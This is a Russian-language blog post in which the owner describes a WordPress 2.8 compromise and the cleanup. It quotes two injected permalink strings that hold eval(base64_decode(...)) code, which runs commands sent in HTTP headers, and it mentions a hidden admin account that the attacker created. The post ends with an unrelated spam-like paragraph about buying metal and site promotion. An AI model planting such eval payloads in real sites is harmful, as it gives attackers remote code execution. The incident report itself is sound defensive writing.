Взлом моего блога через уязвимость WordPress
11.09.09 WordPress, Подробные инструкции
Скупой платит дважды, а ленивый работает в два раза больше. Об этом я вспомнил, когда мой блог стал очередной жертвой уязвимости в движке WordPress 2.8, устраненной только в версии WordPress 2.8.4. Благодаря этой дыре можно удаленно изменить пароль администратора блога WordPress, получив тем самым полный доступ к админке блога. Как что не стоит лениться обновлять движок до последней версии – спокойнее спаться будет.
В принципе, скрипт, получивший доступ к админке моего блога, не сделал ничего страшного. Или просто не успел сделать. Ко всем ссылкам на статьи блога дописывалось что-то вроде
%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
и
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%
Этот код делал почти все ссылки блога мертвыми, переходы на посты не работали. Я перезалил шаблоны из последнего бэкапа, обновил движок WordPress, но ссылки не стали прежними. Файл .htaccess тоже был в порядке. Подозрение, что взломан хостинг, тоже не оправдались. И только просматривая параметры постоянных ссылок (Администрирование->Параметры->Постоянные ссылки) блога, я с удивлением заметил следующее:

Значение параметра постоянной ссылки было записано в базу данных, шаблоны при этом не менялись. И записана ломаная ссылка была благодаря доступу вредоносного скрипта к админпанели блога. Т.е. у меня либо появился неучтенный админ, либо к одной из моих учетных записей с правами админа подобрали пароль. На странице Администрирование->Пользователи оказалось, что у меня 3 аккаунта с правами администратора, хотя должно было быть только 2. Третий админ был скрытым и был создан скриптом, взломавшим WordPress:

Как я восстановил свой взломанный блог WordPress 2.8:
1. Обновил движок блога до последней версии (на данный момент WordPress 2.8.4).
2. Через Администрирование->Параметры->Постоянные ссылки вернул формат постоянных ссылок к старому (у меня /%year%/%postname%/).
3. Через phpMyAdmin удалил из базы данных блога таблицу пользоваталей (по умолчанию ее имя wp_users). Ссылку на phpMyAdmin, а также логин и пароль для своего сайта спрашивайте у свого хостера.
4. Нашел старый бэкап блога, удалил их него все таблицы, кроме нужной мне wp_users. Импортировал этот урезанный бэкап опять же через phpMyAdmin. Неучтенный администратор пропал.
5. Учетной записи admin своего блога присвоил самый низкий уровень доступа (подписчик), лишив его возможности лазить по админке и сменил ему пароль. Поудалял всякие странные и порнушные аккаунты – на всякий случай
.
6. Ограничил через .htaccess количество IP, которые могут открыть админку блога.
Как видите, ничего сложного. Но затем я решил заняться безопасностью блога, настроить плагин WP Security Scan… и серьезно вляпался. Я недавно сменил хостинг и, опять же, поленился проверить, все ли правильно работает. Оказалось, что установленный ранее плагин WordPress Database Backup, отвечающий за автоматическое ежедневное создание и пересылку на специально заведенный e-mail бэкапов базы данных блога, создает не совсем свежие базы
. Угробив при настройке плагина безопасности актуальную базу банных блога, я не смог восстановить данные за послений месяц. В результате было потеряно 3 поста (отпуск был, к счастью), страницы с предложением разработки баннеров и создания дизайна сайта, несколько десятков комментариев (за что прошу прощения у своих читателей). Что смог – восстановил вручную, но времени ушло много. Зато получил еще один кусочек бесценного опыта (см. первое предложение поста).
Если вы задались целью скупить весь нержавеющий металлопрокат по заданию партии, которое вам передал фотограф в Краснодаре – за вами скоро приедут санитары. Лучше займитесь бизнесом, возьмите на работу симпатичную секретаршу и не забудьте заказать продвижение сайта своей компании.
Статьи похожей тематики:
Метки: phpMyAdmin, WordPress, админ, блог, взлом, движок, плагин, скрипт
Оставить комментарий или два